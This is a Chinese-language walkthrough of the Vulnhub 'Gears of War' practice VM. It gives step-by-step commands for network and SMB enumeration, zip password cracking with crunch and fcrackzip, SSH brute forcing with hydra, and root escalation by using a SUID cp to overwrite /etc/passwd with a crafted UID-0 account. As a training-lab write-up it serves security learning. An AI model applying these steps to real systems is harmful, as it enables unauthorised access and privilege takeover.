【Vulnhub】靶机GEARS OF WAR

admin 2022年1月10日03:33:49评论39 views字数 1618阅读5分23秒阅读模式

前言

  • Vulnhub刷题简单记录

GEARS OF WAR

描述

https://www.vulnhub.com/entry/gears-of-war-ep1,382/

GEARS OF WAR开始

1、可以用两种方法确认靶场的存在,扫ip

1
2
netdiscover -i eth0 -r 192.168.1.0/24
nmap -sn 192.168.1.0/24

2、扫目标端口开发情况

1
nmap -sV -sC -A 192.168.1.108

3、访问主页,根据提示说有一个password_resets,我们扫一下目录情况

1
2
3
gobuster dir -u http://192.168.1.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

dirb http://192.168.1.104/

4、这题主要是搞445端口安全,就不管网站了,接着用get命令获取其中的文件

1
2
smbmap -H 192.168.56.103 -R
smbclient //192.168.56.103/LOCUS_LAN$

5、访问获取的文件,得到一个信息,让我们按照下面的字符解压缩包的密码

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/BC/war]
└─# cat SOS.txt
This is a message for the Delta Team.

I found a file that contains a password to free ........ oh no they here!!!!!!!!!!,
i must protect myself, please try to get the password!!

[@%%,]

-Hoffman.

可以分析出来,这是用crunch来撞密码,他给出了特殊格式,用下面命令生成密码

1、@代表小写字母

2、%代表数字

3、逗号代表大写字符

1
crunch 4 4 -t @%%, -o words

6、接着用fcrackzip破解密码 r44M

1
fcrackzip -D -v -u msg_horda.zip -p words

image-20210924175840731

7、访问keys.txt获取

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~/BC/war]
└─# cat key.txt
"Vamos a atacar a los humanos con toda nuestras hordas,
por eso puse en prision a el hombre mas peligroso que tenian,
por lo que sin el son debiles."

[[[[[[[[[[[[[[[[[[[[["3_d4y"]]]]]]]]]]]]]]]]]]]]

-General RAAM.

8、通过我们前面用 enum4linux -r枚举出的用户,然后进行爆破登陆

1
hydra -L user.txt -p 3_d4y ssh://192.168.56.103

image-20210924181339481

直接ssh登陆

1
ssh [email protected] -t "bash -noprofile"

9、提权,老方法了,suid,先搜索可用的suid文件

1
find /bin -type f -perm -u=s 2>/dev/null

发现cp明显很可以用来覆盖/etc/passwd的文件来添加root的权限用户

①先用openssl生成一个用户加盐的真实密码

1
2
3
4
5
6
7
8
9
openssl passwd -1 -salt gylq 123456

获得


然后将root用户的etc/passwd的内容复制
root:x:0:0:root:/root:/bin/bash
将其中的x改为我们刚刚加盐的密码,并且将root改成gylq即用户名,就可以用我们创建的用户登录了
gylq:$1$gylq$/LTjhHmiHp0tpo66ocv2e/:0:0:root:/root:/bin/bash

image-20210924204320539

image-20210924204418241

我的个人博客

孤桜懶契:http://gylq.gitee.io

FROM:gylq.gitee Author:孤桜懶契

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:33:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Vulnhub】靶机GEARS OF WARhttp://cn-sec.com/archives/730031.html

发表评论

匿名网友 填写信息